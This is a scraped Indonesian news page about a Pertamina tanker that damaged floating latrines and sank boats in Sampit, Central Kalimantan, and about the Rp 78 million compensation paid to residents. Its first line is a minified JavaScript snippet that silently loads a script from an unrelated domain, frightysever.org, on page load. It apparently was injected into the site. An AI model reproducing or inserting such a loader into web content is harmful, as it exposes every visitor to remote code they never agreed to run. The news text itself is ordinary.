(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kapal Tanker Pertamina Tabrak Jamban, Warga Kocar-kacir Selamatkan Diri


KANALKALIMANTAN.COM, SAMPIT – Kapal tanker pengangkut bahan bakar minyak milik Pertamina menabrak lanting atau jambang apung milik warga di Sungai Mentaya, Baamang Hulu, Kotawaringin Timur, Kalimantan Tengah.

Akibatnya, 8 jamban mengalami kerusakan dan dua kelotok atau perahu milik warga tenggelam. Detik-detik kapal tanker milik Pertamina tabrak jamban terekam dalam video kamera amatir dan viral di media sosial.

Dalam video terlihat ekor kapal tanker menabrak beberapa jamban. Warga langsung lari kocar-kacir menyelamatkan diri. Ketua RT setempat, Nanang Qosim mengatakan, insiden tersebut terjadi pada Rabu (26/8/2020) pukul 15.30 WIB. Saat itu, kapal tanker SPOB Kapuas tersebut hendak putar arah menuju muara laut.

Namun, diduga kurang perhitungan, posisi kapal terlalu menepi sehingga menyerempet sejumlah jamban. “Kapal itu milik Pertamina. Kami berharap kejadian seperti ini jangan sampai terulang lagi,” kata Nanang dikutip dari Antara, Senin (31/8/2020).

Sementara itu, Kepala Seksi Penyelamatan Berlayar Penjagaan dan Patroli KSOP Sampit, Baslan Damang mengatakan, dari hasil pemeriksaan kapal menunjukkan kondisi baik.

Kejadian diduga disebabkan tekanan angin antara 5 sampai 20 knot sehingga menyebaabkan posisi pergerakan kapal terdorong angin tenggara hingga ke arah perkampungan. Kapal mencoba manuver sebisa mungkin namun insiden tersebut tetap tak bisa dihindari.

Setelah kejadian, keberangkatan kapal tanker ditunda sementara hingga proses ganti rugi diselesaikan. Pihak Pertamina membayarkan ganti rugi akibat insien tersebut. Total biaya ganti rugi yang diberikan sebesar Rp 78 juta.

“Total 78 juta untuk 12 lanting jamban dan tiga kapal. Ganti rugi bervariasi tergantung kondisi kerusakan, ada Rp 1 juta sampai Rp 25 juta,” ujar Ketua RW setempat Muhammad Mastiar. Nakhoda kapal tanker Pertamina melalui PT Pertamina Trans Kontinental, Imran berharap dengan adanya ganti rugi tersebut maka tidak ada lagi tuntutan lain dikemudian hari.

“Mudah-mudahan bisa mengganti kerugian warga. Mudah-mudahan dikemudian hari tidak ada tuntutan lainnya,” ungkapnya.

Penyerahan ganti rugi tersebut disertai dengan penandatanganan berita acara. Pihak kepolisian mengingatkan dengan adanya kesepakatan tersebut, maka warga tidak bisa menuntut dikemudian hari. Jika ada tuntutan lain yang mengarah pada pemerasan, maka akan diproses secara hukum.(Suara)


Desy Arfianty

Share
Published by
Desy Arfianty

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

17 menit ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

3 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

4 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

12 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

13 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

14 jam ago

This website uses cookies.